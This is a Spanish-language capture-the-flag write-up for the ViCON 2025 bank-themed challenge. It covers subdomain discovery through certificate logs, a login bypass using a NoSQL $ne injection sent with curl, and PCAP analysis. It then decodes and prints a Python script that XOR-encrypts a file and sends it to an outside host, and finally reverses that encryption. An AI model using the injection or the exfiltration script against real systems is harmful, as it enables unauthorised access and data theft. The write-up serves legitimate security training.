Índice

- <u>Reto ViCON (25,26/04/2025)</u>
 - <u>Índice</u>
 - <u>Enunciado</u>
 - Reto
 - <u>1. OBJETIVO Y ALCANCE</u>
 - <u>2. PARTICIPACIÓN Y REQUISITOS</u>
 - <u>3. EXCLUSIONES</u>
 - <u>4. PREMIO</u>
 - <u>Writeup</u>
 - Acceso al sitio web
 - Ataque NoSQL injection
 - Análisis del dashboard
 - Análisis del PCAP
 - Análisis del payload del paquete ICMP
 - Reversión del cifrado

Enunciado

Reto

Estas son las bases de participación para el reto de ViCON 2025

1. OBJETIVO Y ALCANCE

El reto consiste en vulnerar únicamente los sistemas y servicios alojados en el dominio **viconbank.click**. Se recuerda que cualquier intento de vulnerar equipos o dominios fuera de este ámbito estará sujeto a la legislación vigente.

2. PARTICIPACIÓN Y REQUISITOS

- La participación está reservada a personas inscritas en la ViCON 2025.
- Para participar en el sorteo, los interesados deben enviar a la organización el código obtenido junto con su número de inscripción en la ViCON 2025.
- Es obligatorio asistir físicamente al evento el sábado 26 de abril para poder formar parte del sorteo.

3. EXCLUSIONES

No podrán participar en el sorteo:

- Trabajadores de Gradiant
- Miembros de la organización de ViCON

4. PREMIO

El ganador del sorteo, que se realizará entre todos aquellos que hayan enviado el cógido y su número de inscripción, recibirá un Flipper Zero.

Writeup

Acceso al sitio web

Acceder al sitio web del reto fue el primer desafío. Al buscar la dirección <u>https://viconbank.click</u>, se muestra la página de error DNS_PROBE_POSSIBLE :



Error DNS_PROBE_POSSIBLE

Buscando información sobre los certificados del dominio utilizando herramientas como <u>https://crt.sh/</u> es posible encontrar subdominios accesibles.

				Cr	t.sh Identity Search	Group by Issuer	
			Crite	ria Tyj	pe: Identity Match: ILIKE Search: 'vi	conbank.click'	
ertificates	crt.sh ID	Logged At ①	Not Before	Not After	Common Name	Matching Identities	Issuer Name
	17845585515	2025-04-14	2025-04-14	2025-07-13	blue-team-console-v2.viconbank.click	blue-team-console-v2.viconbank.click	C=US, O=Let's Encrypt, CN=E5
	17845584044	2025-04-14	2025-04-14	2025-07-13	blue-team-console-v2.viconbank.click	blue-team-console-v2.viconbank.click	C=US, O=Let's Encrypt, CN=E5
	1/845584044	2025-04-14	2025-04-14	2025-07-13	blue-team-console-v2.viconbank.click	blue-team-console-v2.viconbank.click	C=US, O=Let's Encrypt, CN=E
				0 \$	Sectigo Limited 2015-2025. All rights reserved.		
					<u> </u>		

Información de los certificados en https://crt.sh/ .

Entre los resultados obtenidos se descubrió el subdomino <u>blue-team-console-</u> v2.viconbank.click . Tras acceder a esta dirección se muestra una interfaz web de *login*:

Vicon Bank - Blue Team Portal							
Acceso Restringido							
Bienv	venido al sistema de monitorización Blue Team de Vicon	Bank.					
Solo per	Solo personal autorizado. Cualquier acceso no permitido será registrado.						
	Iniciar Sesión						
	Usuario						
	Contraseña						

	Acceder						
	Sistema de autenticación avanzado						
	© 2025 Vicon Bank - Blue Team. Todos los derechos reservados.						

Pantalla de login.

Viendo el código fuente de la página, llama la atención un comentario que indica que la base de datos fue migrada de a NoSql para evitar ataques de SQLi. El resto de información de la página (CSS, JS, cookies, etc.) no parecieron relevantes.



Ataque NoSQL injection

Después de varios intentos fallidos se llegó a la conclusión de que la inyección no podía realizarse directamente en el formulario. Una opción fue utilizar **BurpSuite** junto un proxy para capturar la petición y modificarla antes de enviarla al servidor. Pero para simplificar el proceso se optó por utilizar directamente **curl**.

La inyección utilizada finalmente fue utilizar el operador de diferencia (<u>\$ne</u>) del campo de contraseña junto a una cadena arbitraria que no coincidiera con la contraseña correcta. La respuesta obtenida fue redirigida a un fichero .html.

<pre>curl -X POSTdata "username=admin&password[\\$ne]=tetas" https://blue-team-console- v2.viconbank.click/login > index.html</pre>	

NOTA: Dependiendo de la terminal usada puede ser necesario escapar el caracter \$ o las comillas utilizadas.

La respuesta obtenida corresponde a una web que simula un panel de control.

Análisis del dashboard

El panel de control cuenta con cuatro secciones de las cuales dos son completamente estéticas. Al pulsar en una tecla empiezan a aparecer mensajes en las otras dos con información de interés.

SIEM Console :: Vicon Bank Blue Team
Presiona cualquier tecla para iniciar sesión
Threat Intelligence Feed

Pantalla de dashboard.

En la sección (Threat Intelligence Feed) se muestra lo siguiente:

[12:00:10] [ALERT] Conexión no autorizada detectada a IP externa (203.0.113.45). [12:00:20] [WARNING] Incremento anómalo de tráfico ICMP en nodo 10.0.1.23. [12:00:35] [ALERT] Multiples intentos fallidos de autenticación en 172.16.0.9. [12:00:50] [CRITICAL] Posible exfiltración de datos desde servidor 192.168.71.129. [12:00:50] [CRITICAL] Posible movimiento lateral desde servidor 192.168.71.130. [12:01:05] [ALERT] Firma de malware oculta en tráfico ICMP.

En la sección (SIEM Console :: Vicon Bank Blue Team) aparece un registro de chat con el siguiente contenido:

[12:00:01] [INFO] Autenticación verificada para admin. [12:00:03] [OK] Conectado a SIEM :: BLUE-CORE-01. [12:00:05] [SYSLOG] Iniciando escaneo de nodos activos... [12:00:07] [NET] Nodo 10.0.1.1 - ONLINE. [12:00:09] [NET] Nodo 10.0.1.14 - ONLINE.



Análisis del PCAP

Se descargó el fichero trace.pcap de la ruta que aparecía en el chat y se abrió con Wireshark. La captura de tráfico no era muy grande, solo 35 paquetes. De estos resultan interesantes 4: 2 ICMP y 2 HTTP.

icmp or http						
No.	Time	Source	Destination	Protocol	Length Info	
	1 0.000000	192.168.71.129	192.168.71.130	ICMP	60 Echo (ping) request id=0x0000, seq=0/0, ttl=64 (no response found!)	
	2 0.059712	192.168.71.130	192.168.71.129	ICMP	1100 Echo (ping) reply id=0x0000, seq=0/0, ttl=64	
	27 14.069727	192.168.71.129	192.168.71.130	HTTP	23861 POST / HTTP/1.1 (application/x-www-form-urlencoded)	
	31 14.082483	192.168.71.130	192.168.71.129	HTTP	68 HTTP/1.1 200 OK (text/html)	

Tráfico de red visualizado en Wireshark con el filtro icmp or http.

Una de los aspectos más destacables es el tamaño de la respuesta ICMP, sobre todo tras la pista que aparecía en el panel de control. Observando el campo *Data* se muestra una gran cadena de datos, algunos no legibles, que se corresponde a la siguiente cadena hexadecimal:

74767822242578353e397832392177272e233f3839645d3e3a2738252377233e3a325d3e3a27382523773536243261635d3e3a27
3825237725322622322423245d3e3a2738252377242e245d5d33323177323934252e27237f333623366d77352e2332247b773c32
2e6d773e39237e777a6977352e2332246d5d777777773c322e08352e233224776a773c322e79233808352e2332247f7f3c322e79
353e23083b323930233f7f7e777c77607e777878776f77382577667b7770353e30707e5d7777777725322322253977352e233224
7f0c357709773c322e08352e2332240c3e7772773b32397f3c322e08352e2332247e0a77313825773e7b7735773e39773239223a
32253623327f333623367e0a7e5d5d33323177322f313e3b08313e3b327f313e3b32082736233f6d772423257b77333224233e39
36233e38390822253b6d772423257e777a6977193839326d5d777777773c322e776a773e39237f233e3a3279233e3a327f7e7e5d
5d777777723252e6d5d77777777777777777203e233f77382732397f313e3b32082736233f7b77752535757e77362477316d5d77
7777777777777777777777313e3b320833362336776a773179253236337f7e5d7777777322f3432272377122f343227233e3839
77362477326d5d77777777777777777727253e39237f3175053236333e393077313e3b327732252538256d772c322a757e5d777777
777777777242e2479322f3e237f667e5d5d7777777323934252e272332330833362336776a77323934252e27237f313e3b3208
333623367b773c322e7e5d777777773561630833362336776a77353624326163793561633239343833327f323934252e27233233
08333623367e793332343833327f702223317a6f707e5d5d77777773f323633322524776a772c5d7777777777777777750f7a16
22233f7a033e3a32756d772423257f3c322e7e7b5d7777777777777775143839233239237a032e2732756d77753627273b3e34
36233e3839782f7a2020207a3138253a7a22253b32393438333233755d777777772a5d5d7777777723252e6d5d77777777777777
772532242738392432776a77253226223224232479273824237f333224233e3936233e38390822253b7b77333623366a2c753336
2336756d7735616308333623362a7b773f3236333225246a3f3236333225247e5d7777777322f3432272377122f343227233e38
3977362477326d5d77777777777777777727253e39237f31751f03030777053226223224237732252538256d772c322a757e5d5d31
3e3b32082736233f776a7775783223347830383b33323908233e343c3223793d2730755d333224233e3936233e38390822253b77
6a77753f2323276d7878666e657966616f796066796664676d6f676f67755d322f313e3b08313e3b327f313e3b32082736233f7b
77333224233e3936233e38390822253b7e5d

Lo otro más relevante es el contenido codificado, y aparentemente encriptado, de la petición POST del paquete HTTP, el cual fue extraído y guardado en un fichero de texto.

Wireshark - Packet 27 - trace.pcap	- 0	×
<pre>> Frame 27: 23861 bytes on wire (190888 bits), 23861 bytes captured (190888 bits) > Ethernet II, Src: VMware_9f:bd:af (00:0c:29:9f:bd:af), Dst: VMware_a0:fe:6c (00:0c:29:a0:fe:6c) > Internet Protocol Version 4, Src: 192.168.71.129, Dst: 192.168.71.130 > Transmission Control Protocol, Src Port: 46534, Dst Port: 8080, Seq: 3948422446, Ack: 36241100, Len: 23795 > [12 Reassembled TCP Segments (132644 bytes): #6(249), #7(5792), #10(1448), #11(5792), #14(10136), #16(14480), #18(7240), #19(17376), #21(14480), #23(> Hypertext Transfer Protocol > HYPertext Transfer Protocol > HTML Form URL Encoded: application/x-www-form-urlencoded</pre>	13184), # 24k/zJgae fUHrKUgoy:	25(1867 ØtfUHrKl ×FbKLFz]
<		>
00000060 33 32 33 93 50 04 0a 64 61 74 61 36 64 32395 <		~
Frame (23861 bytes) Reassembled TCP (132644 bytes) Bytes 254-132643: Volue (urtencoded-form-value) Show packet bytes Layout: Vertical (Stacked)	ose	Help

Detalles del paquete HTTP.

Análisis del payload del paquete ICMP

Copiándolo en <u>CyberChef</u> se pudo decodificar desde hexadecimal para canalizar la salida hacia la funcionalidad "Magic" y tratar de identificar la naturaleza de los datos. Inicialmente no se descubrió nada, pero tras activar el modo intensivo se decubrió que los datos son un script de Python cifrado mediante XOR con clave **57** en hexadecimal (o W en forma de texto).

Operations 450	Recipe	^ 🖻 🖿 î	Input + 🗅 🗃 🖡									
magic	From Hex	^ ⊗ II	74767822242578351a-97832392177272e2357839645d9a1a2738252377233a-ba325d9-ba27382523773536242261655d3-ba2738252377253226623224232453458 2738252377246245d5633231772394252427237473396336667753624332247b7735232240751893276771897575824332645d7777777777772522693983767757732972339234276577573524332247b7735242485390765577777777777772522693900337677477777777777766677788777677785776637788757783972339223a222546235773322432359902357677777777777777777777777777777777777									
Magic	Delimiter								24776a773c322e79233808352e2332247f7f3c322e79353e23083b323930233f7f7e777c77607e7778776f77382577667b7770353a30707e5d777777775322232225 3977352e7332/d7f6c357709773c32/e8352e7332240c3e777273b3297f3c32e8352e7332/d7e0a7731382577667b777853a30707e3372			
Image Brightness / Contrast	Auto											
Detect File Type	Magic	∧ ⊗ II										
Scan for Embedded Files	Depth 1	Intensive mode										
Favourites 🗶	Extensive Janou	age support										
Data format		uge support										
Encryption / Encoding	Crib (known plain	itext string or regex)	32882736233f776a7775783223347830383b33329908233e343c3223793d2730755d333224233e3936233e3936232e35b776a77753f2323276d78786666e57966616f TRGGCC TRGCC TRGC LECT LETT L3715152-260919-2619754312-26197025125257k73223704732-076132-27090011153k7-L4 単 2116 手1 下aw 5ttes ビリ									
Public Key			Output		C 🖬 🗍 🖬 C							
Arithmetic / Logic			Recipe (click to load)	Result snippet	Properties							
Networking			<pre>Decode_text('UTF-16BE (1201)')</pre>	瑶河∥砵将砲例昭'臨於崾擔嶩∈◎探崾拾嶋∈醽四鷽崾捨	Valid UTF8							
Language			<pre>XOR({'option':'Hex','string':'57'},'Standar</pre>	#!/usr/bin/env python3.cimport	Valid UTF8							
Utils			d',false)	<pre>time.rimport base64.rimport requests.rimport sys.r.rdef encrypt(data:</pre>	Entropy: 4.44							
Date / Time				b								
Extractors			Decode_text('UTF-16LE (1200)')	澤外1匹保型:●>治消洗**跌陽附洗*1跌佈回燈批*1 跌約#回题紙*1跌,崎5gい②气,回擬工測咱>□	Valid UTF8 Entropy: 4.55							
Compression			<pre>Decode_text('ISO 6937 Non-Spacing Accent (20269)')</pre>	tvx" % %x5>9x29!w'. \$? 89d]>:'8% \$ w \$ >:2]>:'8% \$ w56 \$ 2ac]>:'8% \$ w%2	Valid UTF8 Entropy: 4.28							
Hashing	STEP BA	KE! Auto Bake		&"2��@]>:'8%@w@.@]]321w294%.' @] 36�6mw5								

Resultados de CyberChef.

Este script es el siguiente:



```
def encrypt(data: bytes, key: int) -> bytes:
    key_bytes = key.to_bytes((key.bit_length() + 7) // 8 or 1, 'big')
   return bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data)])
def exfil_file(file_path: str, destination_url: str) -> None:
   key = int(time.time())
       with open(file_path, "rb") as f:
            file_data = f.read()
   except Exception as e:
       print(f"Reading file error: {e}")
        sys.exit(1)
   encrypted_data = encrypt(file_data, key)
   b64_data = base64.b64encode(encrypted_data).decode('utf-8')
   headers = {
       "X-Auth-Time": str(key),
        "Content-Type": "application/x-www-form-urlencoded"
       response = requests.post(destination_url, data={"data": b64_data}, headers=headers)
   except Exception as e:
       print(f"HTTP Request error: {e}")
file_path = "/etc/golden_ticket.jpg"
destination_url = "http://192.168.71.130:8080"
exfil_file(file_path, destination_url)
```

Reversión del cifrado

Analizando el script se puede observar que genera una clave en funcion de la hora del sistema que luego retransmite en la cabecera X-Auth-Time (la cual se puede recuperar del fichero PCAP). Luego utiliza esta clave para cifrar cada byte del fichero original .jpg mediante operaciones XOR. Al ser XOR una operación reversible, solo es necesario volver a aplicarlo con la misma clave sobre el fichero extraído de paquete HTTP (descodificándolo previamente desde base64). A continuación se muestra un script para lograrlo:

```
import base64

KEY = 1744714862
file_path = "file.txt"

with open(file_path, "r") as f:
    file_data = f.read()
    file_data = base64.b64decode(file_data.encode('utf-8'))

key_bytes = KEY.to_bytes((KEY.bit_length() + 7) // 8 or 1, 'big')
decrypted_data = bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(file_data)])

with open("file_decoded.jpg", "wb") as f:
    f.write(decrypted_data)
```

Finalmente puede abrirse el fichero de imagen original en el que se encuentra el código:



Imagen descifrada con el código.

Write up redactado por <u>@informaticapau</u>